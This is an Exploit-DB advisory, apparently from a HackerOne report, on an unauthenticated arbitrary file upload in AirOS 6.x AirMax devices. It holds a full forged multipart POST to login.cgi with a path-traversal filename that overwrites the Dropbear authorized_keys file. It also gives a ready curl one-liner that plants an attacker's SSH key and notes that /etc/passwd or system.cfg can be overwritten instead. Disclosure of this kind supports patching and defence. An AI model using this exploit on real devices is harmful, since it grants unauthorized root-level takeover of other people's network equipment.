AirOS 6.x - Arbitrary File Upload

EDB-Note Source: https://hackerone.com/reports/73480

Vulnerability

It's possible to overwrite any file (and create new ones) on AirMax systems, because the "php2" (maybe because of a patch) don't verify the "filename" value of a POST request. It's possible to a unauthenticated user to exploit this vulnerability.
Example

Consider the following request:

POST https://192.168.1.20/login.cgi HTTP/1.1
Cookie: $Version=0; AIROS_SESSIONID=9192de9ba81691e3e4d869a7207ec80f; $Path=/; ui_language=en_US
Content-Type: multipart/form-data; boundary=---------------------------72971515916103336881230390860
Content-Length: 773
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.1.20
Cookie: $Version=0; AIROS_SESSIONID=7597f7f30cec75e1faef8fb608fc43bb; $Path=/; ui_language=en_US

-----------------------------72971515916103336881230390860
Content-Disposition: form-data; name="keyfile"; filename="../../etc/dropbear/authorized_keys"
Content-Type: application/vnd.ms-publisher

{{Your Public Key HERE}}
-----------------------------72971515916103336881230390860--

The web server must filter the file name ../../etc/dropbear/authorized_keys to just authorized_keys or return a 404. But the AirMax just received the file, overwriting the original (creating if don't exist) in the process. In this case the attacker are uploading arbitrary public ssh keys, but it can be used to upload configurations, or "/etc/passwd"...
Consequences

It's possible to take control over any AirMax Product with simple forged http POST request, what it disastrous.


Reproducing

With a simple command:
curl -F "[email protected]/id_rsa.pub;filename=../../etc/dropbear/authorized_keys" -H "Expect:" 'https://192.168.1.20/login.cgi' -k

Of course if the ssh is disabled you can overwrite /etc/passwd and/or /tmp/system.cfg.